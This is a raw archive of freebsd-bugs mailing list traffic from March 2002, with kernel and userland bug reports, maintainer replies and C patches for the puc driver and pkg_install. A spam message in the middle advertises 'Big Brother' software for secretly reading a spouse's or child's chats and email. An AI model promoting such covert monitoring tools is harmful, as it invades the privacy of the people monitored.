`INTR_FAST' undeclared (first use in this function) /FreeBSD/releng4/sys/dev/puc/puc.c:216: (Each undeclared identifier is reported only once /FreeBSD/releng4/sys/dev/puc/puc.c:216: for each function it appears in.) >How-To-Repeat: Build LINT. >Fix: I'm haven't a clue about the details, but INTR_FAST is defined in sys/i386/include/intr_machdep.h to be 1, but this header isn't included by puc.c. I think it's more likely that what is wanted is INTR_TYPE_FAST=128 to go with INTR_TYPE_TTY=1, and 128|1 would have slightly more effect than 1|1. Index: puc.c =================================================================== RCS file: /home/ncvs/src/sys/dev/puc/puc.c,v retrieving revision 1.3.2.1 diff -u -r1.3.2.1 puc.c --- puc.c 7 Mar 2002 17:48:57 -0000 1.3.2.1 +++ puc.c 8 Mar 2002 03:30:15 -0000 @@ -213,7 +213,7 @@ sc->irqrid = rid; #ifdef PUC_FASTINTR irq_setup = BUS_SETUP_INTR(device_get_parent(dev), dev, res, - INTR_TYPE_TTY | INTR_FAST, puc_intr, sc, &sc->intr_cookie); + INTR_TYPE_TTY | INTR_TYPE_FAST, puc_intr, sc, &sc->intr_cookie); #else irq_setup = ENXIO; #endif >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 20: 0:16 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 95B0437B419 for ; Thu, 7 Mar 2002 20:00:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28408i94449; Thu, 7 Mar 2002 20:00:08 -0800 (PST) (envelope-from gnats) Date: Thu, 7 Mar 2002 20:00:08 -0800 (PST) Message-Id: <200203080400.g28408i94449@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: swear@blarg.net (Gary W. Swearingen) Subject: Re: bin/35648: rc.conf; add note about "flags" to both files Reply-To: swear@blarg.net (Gary W. Swearingen) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35648; it has been noted by GNATS. From: swear@blarg.net (Gary W. Swearingen) To: "Crist J. Clark" Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/35648: rc.conf; add note about "flags" to both files Date: 07 Mar 2002 20:02:33 -0800 "Crist J. Clark" writes: > The correct place for this kind of documentation would be the > rc.conf(5) manpage. Duh! Of course! Thanks. But the two files (and many others) should note that they have man pages. (It probably would have saved this embarrassment and would save the time of many others who either forget or don't know about the man page. I didn't know about the rc.conf(5) man page for several weeks after starting FreeBSD.) Can/should the PR be switched to "doc/35648" or leave this for the "rc.conf man page mention" and write a new one for the "flags=options" thing? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 20:20:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1F65B37B416 for ; Thu, 7 Mar 2002 20:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g284K1N06553; Thu, 7 Mar 2002 20:20:01 -0800 (PST) (envelope-from gnats) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 4D64C37B416 for ; Thu, 7 Mar 2002 20:17:50 -0800 (PST) Received: from sdn-ar-007dcwashp251.dialsprint.net ([63.178.90.141] helo=moo.holy.cow) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 16jBpF-0001Gz-00 for FreeBSD-gnats-submit@freebsd.org; Thu, 07 Mar 2002 20:17:50 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id 0514650B81; Thu, 7 Mar 2002 23:20:03 -0500 (EST) Message-Id: <20020308042003.0514650B81@moo.holy.cow> Date: Thu, 7 Mar 2002 23:20:03 -0500 (EST) From: parv_@yahoo.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: misc/35662: send-pr and/or web pr query system screws a pr Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35662 >Category: misc >Synopsis: send-pr and/or web pr query system screws a pr >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 20:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: parv >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD moo.holy.cow 4.5-STABLE >Description: i had filed bug 35659... http://www.freebsd.org/cgi/query-pr.cgi?pr=35659 ...and online i see screwed up messaging order as indicated by my 2d message, dated 7 Mar 2002 22:56:01 -0500. "unformatted" part contains the details that should have belonged to "description" as intended. otherwise it's hard to follow up even on pr's submitted by me. >How-To-Repeat: don't know; happened first time to me. >Fix: make send-pr and/or pr database more variable syntax tolerant(?). >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 20:34: 5 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from netgate.masoncompanies.com (netgate.masoncompanies.com [206.162.55.41]) by hub.freebsd.org (Postfix) with ESMTP id A09AC37B416; Thu, 7 Mar 2002 20:33:47 -0800 (PST) Received: from aatea.com (1Cust67.tnt12.mia5.da.uu.net [63.59.181.67]) by netgate.masoncompanies.com (8.8.5/8.8.5) with SMTP id TAA09098; Thu, 7 Mar 2002 19:48:38 -0500 From: wuillyh@yahoo.com MIME-Version: 1.0 Importance: Normal Message-Id: X-Encoding: MIME Received: from aatea.com by 3IFPBH2YWU1J.aatea.com with SMTP for vinagrito2002@yahoo.com; Thu, 07 Mar 2002 23:33:16 -0500 X-MSMail-Priority: Normal Date: Thu, 07 Mar 2002 23:33:16 -0500 Content-Transfer-Encoding: quoted-printable To: vinagrito2002@yahoo.com X-Priority: 3 (Normal) Reply-To: tortolitosus@yahoo.com Content-Type: multipart/alternative; boundary="----=_NextPart_545_071064887722" Subject: Secretly Monitor Your Child or Spouse Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_545_071064887722 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable FIND OUT WHO THEY ARE CHATTING/EMAILING WITH FOR ALL THOSE HOURS! Is your spouse cheating online? Are your kids talking to dangerous people on = instant messenger? FIND OUT NOW with Big Brother available as an instant software download. ONLY $39.95 Click Here To Order http://biz38.freewebhost4all.com/bigbro/index.html?Afft=3DM37 Please click here if you would like to be removed from this list. http://biz38.freewebhost4all.com/datacenter.htm ------=_NextPart_545_071064887722 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable
 

FIND OUT WHO THEY ARE CHATTING/EMAILING WITH
FOR ALL THOSE HOURS!


Is your spouse cheating online? Are your kids talking to dangerous people on instant messenger?

FIND OUT NOW with Big Brother
available as an instant software download.

ONLY $39.95

Click Here To Order


 

Please click here if you would like to be removed from this list.

------=_NextPart_545_071064887722-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 22:33: 1 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9ED1E37B404; Thu, 7 Mar 2002 22:32:51 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g286TGL30801; Thu, 7 Mar 2002 22:29:16 -0800 (PST) (envelope-from silby) Date: Thu, 7 Mar 2002 22:29:16 -0800 (PST) From: Message-Id: <200203080629.g286TGL30801@freefall.freebsd.org> To: anarcat@anarcat.dyndns.org, silby@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/35640: heavy collision rate hangs vr network interface Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: heavy collision rate hangs vr network interface State-Changed-From-To: feedback->open State-Changed-By: silby State-Changed-When: Thu Mar 7 22:28:11 PST 2002 State-Changed-Why: The Anarcat reports that even with the rl fix, his network situation has not changed. It looks like an investigation of the vr driver is in order. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35640 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 22:33:37 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from patrocles.silby.com (d103.as26.nwbl0.wi.voyager.net [169.207.65.231]) by hub.freebsd.org (Postfix) with ESMTP id 6C0E437B431; Thu, 7 Mar 2002 22:33:22 -0800 (PST) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.2/8.12.2) with ESMTP id g280bqNu005909; Fri, 8 Mar 2002 00:37:52 GMT (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.2/8.12.2/Submit) with ESMTP id g280bpCl005906; Fri, 8 Mar 2002 00:37:51 GMT X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Fri, 8 Mar 2002 00:37:51 +0000 (GMT) From: Mike Silbersack To: The Anarcat Cc: silby@FreeBSD.org, Subject: Re: kern/35640: heavy collision rate hangs vr network interface In-Reply-To: <20020308021926.GB266@lenny.anarcat.dyndns.org> Message-ID: <20020308003224.T3443-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 7 Mar 2002, The Anarcat wrote: > > Of course, that doesn't explain the vr system locking up, but it > > may be a good enough solution for you. > > It's not fixing the problem. The collision rate is unchanged. > > Something I don't understand though... The collision rate isn't the same > on the client and on the server... > > client: > > input (Total) output > packets errs bytes packets errs bytes colls > 467 0 30822 691 0 1061314 709 > > server: > input (Total) output > packets errs bytes packets errs bytes colls > 711 0 1073558 512 0 31396 439 > > > > At any rate, this PR should be put back in the Open state, no? > > A. Ok, I moved the PR back to open. Have you investigated playing around with the duplex settings on the vr interface? Perhaps it has the same problem the rl driver had? Could you try hooking up the two machines with a crossover cable or a 100mbps hub to see if anything changes? Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 23:22:55 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 869C237B404; Thu, 7 Mar 2002 23:22:51 -0800 (PST) Received: (from cjc@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g287DlR76314; Thu, 7 Mar 2002 23:13:47 -0800 (PST) (envelope-from cjc) Date: Thu, 7 Mar 2002 23:13:47 -0800 (PST) From: Message-Id: <200203080713.g287DlR76314@freefall.freebsd.org> To: cjc@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-doc@freebsd.org Subject: Re: docs/35648: rc.conf; add note about "flags" to both files Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: rc.conf; add note about "flags" to both files Responsible-Changed-From-To: freebsd-bugs->freebsd-doc Responsible-Changed-By: cjc Responsible-Changed-When: Thu Mar 7 23:12:18 PST 2002 Responsible-Changed-Why: Category changed to docs after analysis and agreement from submitter. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35648 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 3:32:55 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id E92B537B405; Fri, 8 Mar 2002 03:32:51 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28BVHC34851; Fri, 8 Mar 2002 03:31:17 -0800 (PST) (envelope-from dwmalone) Date: Fri, 8 Mar 2002 03:31:17 -0800 (PST) From: Message-Id: <200203081131.g28BVHC34851@freefall.freebsd.org> To: dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, jhay@FreeBSD.org Subject: Re: kern/35660: puc driver broken in RELENG_4 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: puc driver broken in RELENG_4 Responsible-Changed-From-To: freebsd-bugs->jhay Responsible-Changed-By: dwmalone Responsible-Changed-When: Fri Mar 8 03:30:26 PST 2002 Responsible-Changed-Why: John imported the PUC driver into -stable. Looks easy to fix and includes a patch. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35660 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 4: 3: 1 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5D2B737B423; Fri, 8 Mar 2002 04:02:52 -0800 (PST) Received: (from sheldonh@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28Bu0238336; Fri, 8 Mar 2002 03:56:00 -0800 (PST) (envelope-from sheldonh) Date: Fri, 8 Mar 2002 03:56:00 -0800 (PST) From: Message-Id: <200203081156.g28Bu0238336@freefall.freebsd.org> To: sheldonh@FreeBSD.org, freebsd-bugs@FreeBSD.org, imp@FreeBSD.org Subject: Re: misc/32631: installing 4.4 "mounting root from ufs:/dev/md0c" and won't continue Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: installing 4.4 "mounting root from ufs:/dev/md0c" and won't continue Responsible-Changed-From-To: freebsd-bugs->imp Responsible-Changed-By: sheldonh Responsible-Changed-When: Fri Mar 8 03:55:06 PST 2002 Responsible-Changed-Why: Craig's detective work with rolling back cvsup dates seems to have pointed to a cardbus MFC. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=32631 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 4:50:27 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from s096-n062.tele2.cz (s096-n062.tele2.cz [213.246.96.62]) by hub.freebsd.org (Postfix) with ESMTP id DDB4537B416; Fri, 8 Mar 2002 04:50:18 -0800 (PST) Received: from localhost (plusik@localhost) by s096-n062.tele2.cz (8.11.6/8.11.6) with ESMTP id g28CmIp34561; Fri, 8 Mar 2002 13:48:18 +0100 (CET) (envelope-from plusik@pohoda.cz) X-Authentication-Warning: s096-n062.tele2.cz: plusik owned process doing -bs Date: Fri, 8 Mar 2002 13:48:18 +0100 (CET) From: Tomas Pluskal X-X-Sender: plusik@s096-n062.tele2.cz To: freebsd-i18n@freebsd.org, Subject: multibyte(3) functions not working ? Message-ID: <20020308134119.J214-100000@s096-n062.tele2.cz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hello, I was trying to make gnumeric & gedit print Czech characters on my freebsd system, and after few hours of investigation I found out that the problem is probably in freebsd. Here is a simple program, that should convert unicode character 0x161 (it's "s" with hook above) to multibyte (in this case "singlebyte") character, but it outputs just "a". Why ? I have tried it on a linux box also, and there it works perfectly. ------ test.c ----------------------------- #include #include int main(int argc, char *argv[]) { char s[1024]; int x; setlocale(LC_ALL, "cs_CZ.ISO8859-2"); x=wctomb(s, 0x0161); printf("char count: %d\nchar: %c\n",x,s[0]); return 0; } ------------------------------------------- Thanks Tomas Pluskal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 5: 0:13 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id A918D37B417 for ; Fri, 8 Mar 2002 05:00:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28D02G58872; Fri, 8 Mar 2002 05:00:02 -0800 (PST) (envelope-from gnats) Received: from useful.dataloss.nl (useful.dataloss.nl [62.250.7.47]) by hub.freebsd.org (Postfix) with SMTP id 19D2037B400 for ; Fri, 8 Mar 2002 04:56:37 -0800 (PST) Received: (qmail 30143 invoked by uid 1001); 8 Mar 2002 12:56:35 -0000 Message-Id: <20020308125635.30142.qmail@useful.dataloss.nl> Date: 8 Mar 2002 12:56:35 -0000 From: Peter van Dijk Reply-To: Peter van Dijk To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35669: NFSROOT breaks without a gateway Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35669 >Category: kern >Synopsis: NFSROOT breaks without a gateway >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 05:00:02 PST 2002 >Closed-Date: >Last-Modified: >Originator: Peter van Dijk >Release: FreeBSD 4.5-RELEASE-p1 i386 >Organization: Business Internet Trends >Environment: System: FreeBSD breakfast.primexs.net 4.5-RELEASE-p1 FreeBSD 4.5-RELEASE-p1 #0: Mon Mar 4 14:40:41 CET 2002 root@cheapo.bit.nl:/usr/obj/usr/src/sys/HOSTING i386 isc-dhcp3-3.0.1.r6 >Description: When using NFSROOT (in combination with pxeboot, in this case), mounting the root filesystem fails when dhcp has not provided a gateway address, even if none is needed. >How-To-Repeat: A dhcp configuration like: host egg.primexs.net { hardware ethernet 00:02:B3:62:8A:84; fixed-address 192.168.162.173; option root-path "/usr/pxeboot/root"; } with no 'option routers' in any global part. The client then will, when trying to mount the NFS root, say: panic: nfs_mountroot: RTM_ADD: 51 >Fix: Workaround: Provide a 'bogus' gateway entry (I just added 'option routers 192.168.162.1', which worked). Possible fix: not try to add a route in the NFSROOT code if the gateway is not set, or ignore any errors and try to mount anyway. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 5:20:22 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D812037B404 for ; Fri, 8 Mar 2002 05:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28DK2G66202; Fri, 8 Mar 2002 05:20:02 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 05:20:02 -0800 (PST) Message-Id: <200203081320.g28DK2G66202@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Mark Hannon Subject: Re: bin/34007: pkg_create -b forgets to include install scripts Reply-To: Mark Hannon Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/34007; it has been noted by GNATS. From: Mark Hannon To: freebsd-gnats-submit@FreeBSD.org, olgeni@uli.it Cc: Subject: Re: bin/34007: pkg_create -b forgets to include install scripts Date: Sat, 09 Mar 2002 00:19:35 +1100 This is a multi-part message in MIME format. --------------5C0AF1159856F2BC17D7793D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Please try these patches. /mark --------------5C0AF1159856F2BC17D7793D Content-Type: text/plain; charset=us-ascii; name="pkg_install.3" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pkg_install.3" Index: lib/lib.h =================================================================== RCS file: /home/ncvs/src/usr.sbin/pkg_install/lib/lib.h,v retrieving revision 1.29.2.9 diff -c -r1.29.2.9 lib.h *** lib/lib.h 2001/10/24 10:06:56 1.29.2.9 --- lib/lib.h 2002/03/08 13:17:11 *************** *** 112,118 **** typedef struct _plist *PackingList; struct _pack { ! struct _plist *head, *tail; int fmtver_maj, fmtver_mnr; }; typedef struct _pack Package; --- 112,118 ---- typedef struct _plist *PackingList; struct _pack { ! struct _plist *current, *head, *tail; int fmtver_maj, fmtver_mnr; }; typedef struct _pack Package; *************** *** 174,179 **** --- 174,180 ---- PackingList new_plist_entry(void); PackingList last_plist(Package *); PackingList find_plist(Package *, plist_t); + PackingList find_plist_next(Package *, plist_t); char *find_plist_option(Package *, const char *name); void plist_delete(Package *, Boolean, plist_t, const char *); void free_plist(Package *); Index: lib/plist.c =================================================================== RCS file: /home/ncvs/src/usr.sbin/pkg_install/lib/plist.c,v retrieving revision 1.29.2.6 diff -c -r1.29.2.6 plist.c *** lib/plist.c 2001/10/24 10:06:56 1.29.2.6 --- lib/plist.c 2002/03/08 13:17:12 *************** *** 84,98 **** } /* Find a given item in a packing list and, if so, return it (else NULL) */ ! PackingList find_plist(Package *pkg, plist_t type) { PackingList p = pkg->head; while (p) { ! if (p->type == type) return p; p = p->next; } return NULL; } --- 84,127 ---- } /* Find a given item in a packing list and, if so, return it (else NULL) */ ! PackingList find_plist(Package *pkg, plist_t type) { PackingList p = pkg->head; while (p) { ! if (p->type == type){ ! pkg->current = p; return p; + } p = p->next; + } + return NULL; + } + + /* + * Find the next given item in a packing list and, if so, return it (else NULL) + * Unlike the previous function, this version pre-increments the current pointer + * before returning a value, this means that the function may be called several + * times and it will continue to return a valid value for each matching plist_t + * + * This function MAY ONLY be called immediately after getting a non NULL result + * from a call to find_plist, ie call find_plist to initialize and then iterate + * with find_plist_next. + */ + PackingList + find_plist_next(Package *pkg, plist_t type) + { + PackingList p; + + p = pkg->current; + + while (p) { + p = p->next; + if (p && p->type == type){ + pkg->current = p; + return p; + } } return NULL; } --------------5C0AF1159856F2BC17D7793D Content-Type: text/plain; charset=us-ascii; name="pkg_install.4" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pkg_install.4" Index: create/create.h =================================================================== RCS file: /home/ncvs/src/usr.sbin/pkg_install/create/create.h,v retrieving revision 1.15.2.4 diff -c -r1.15.2.4 create.h *** create/create.h 2001/10/23 09:16:03 1.15.2.4 --- create/create.h 2002/03/08 13:16:07 *************** *** 47,51 **** void check_list(const char *, Package *); int pkg_perform(char **); void copy_plist(const char *, Package *); - #endif /* _INST_CREATE_H_INCLUDE */ --- 47,50 ---- Index: create/perform.c =================================================================== RCS file: /home/ncvs/src/usr.sbin/pkg_install/create/perform.c,v retrieving revision 1.49.2.11 diff -c -r1.49.2.11 perform.c *** create/perform.c 2002/01/18 08:37:46 1.49.2.11 --- create/perform.c 2002/03/08 13:16:08 *************** *** 37,45 **** --- 37,53 ---- static void sanity_check(void); static void make_dist(const char *, const char *, const char *, Package *); static int create_from_installed(const char *, const char *); + static void is_a_special_file(const char *name); static char *home; + char *Display; + char *Install; + char *PostInstall; + char *DeInstall; + char *PostDeInstall; + char *Mtree; + int pkg_perform(char **pkgs) { *************** *** 413,418 **** --- 421,427 ---- { FILE *fp; Package plist; + PackingList plistp; char homedir[MAXPATHLEN], log_dir[FILENAME_MAX]; snprintf(log_dir, sizeof(log_dir), "%s/%s", LOG_DIR, InstalledPkg); *************** *** 436,443 **** --- 445,503 ---- read_plist(&plist, fp); fclose(fp); + /* + * Given that we are building the package in-situ we need + * to check the package contents definition of the installed + * package instead of relying upon command line arguments + * for install, post-install etc. scripts. + */ + + if ( (plistp = find_plist(&plist, PLIST_FILE)) != NULL ){ + is_a_special_file(plistp->name); + while ( (plistp = find_plist_next(&plist, PLIST_FILE)) != NULL ){ + is_a_special_file(plistp->name); + } + } + make_dist(homedir, pkg, suf, &plist); free_plist(&plist); return TRUE; + } + + /* + * Check the filename received from the plist and check if + * it matches one of the 'special' files. If so, then set + * the appropriate variable to a non-NULL pointer value + */ + + void + is_a_special_file(const char *filename){ + + char fake_argument[10]; /* To provide a ptr to pass */ + + if ( strcmp(INSTALL_FNAME, filename) == 0 + && Install == NULL) + Install = fake_argument; + if ( strcmp(POST_INSTALL_FNAME, filename) == 0 + && PostInstall == NULL) + PostInstall = fake_argument; + if ( strcmp(DEINSTALL_FNAME, filename) == 0 + && DeInstall == NULL) + DeInstall = fake_argument; + if ( strcmp(POST_DEINSTALL_FNAME, filename) == 0 + && PostDeInstall == NULL ) + PostDeInstall = fake_argument; + if ( strcmp(REQUIRE_FNAME, filename) == 0 + && Require == NULL ) + Require = fake_argument; + if ( strcmp(DISPLAY_FNAME, filename) == 0 + && Display == NULL ) + Display = fake_argument; + if ( strcmp(MTREE_FNAME, filename) == 0 + && Mtree == NULL ) + Mtree = fake_argument; + + return; + } --------------5C0AF1159856F2BC17D7793D-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 6: 0:19 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0F74A37B405 for ; Fri, 8 Mar 2002 06:00:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28E02382382; Fri, 8 Mar 2002 06:00:02 -0800 (PST) (envelope-from gnats) Received: from useful.dataloss.nl (useful.dataloss.nl [62.250.7.47]) by hub.freebsd.org (Postfix) with SMTP id 13AC737B417 for ; Fri, 8 Mar 2002 05:55:02 -0800 (PST) Received: (qmail 31360 invoked by uid 1001); 8 Mar 2002 13:55:00 -0000 Message-Id: <20020308135500.31359.qmail@useful.dataloss.nl> Date: 8 Mar 2002 13:55:00 -0000 From: Peter van Dijk Reply-To: Peter van Dijk To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35671: wrong comments in rc.diskless1 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35671 >Category: bin >Synopsis: wrong comments in rc.diskless1 >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 06:00:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Peter van Dijk >Release: FreeBSD 4.5-RELEASE-p1 i386 >Organization: Business Internet Trends >Environment: System: FreeBSD breakfast.primexs.net 4.5-RELEASE-p1 FreeBSD 4.5-RELEASE-p1 #0: Mon Mar 4 14:40:41 CET 2002 root@cheapo.bit.nl:/usr/obj/usr/src/sys/HOSTING i386 pxeboot+nfsroot environment >Description: /etd/rc.diskless1 contains these comments: # BOOTP has mounted / for us. Assume a read-only mount. We must then # - figure out our IP by querying the interface # - copy /etc temporarily out of the way to /tmp/etc # - mount /etc as an MFS # - repopulate /etc with the saved off copy and further down: # Create an MFS /tmp to temporarily hold files from /etc until we # can bootstrap /etc as an MFS. Neither of these are true, currently - /tmp is not created until somewhere at the end of rc.diskless2, and the current /etc is not backupped for sure. >How-To-Repeat: obvious :) >Fix: Remove the offending comments. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 6:20:17 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3298A37B419 for ; Fri, 8 Mar 2002 06:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28EK2v88653; Fri, 8 Mar 2002 06:20:02 -0800 (PST) (envelope-from gnats) Received: from pittgoth.com (14.zlnp1.xdsl.nauticom.net [209.195.149.111]) by hub.freebsd.org (Postfix) with ESMTP id A134737B405 for ; Fri, 8 Mar 2002 06:18:31 -0800 (PST) Received: (from hiten@localhost) by pittgoth.com (8.11.6/8.11.6) id g28EKTc25427; Fri, 8 Mar 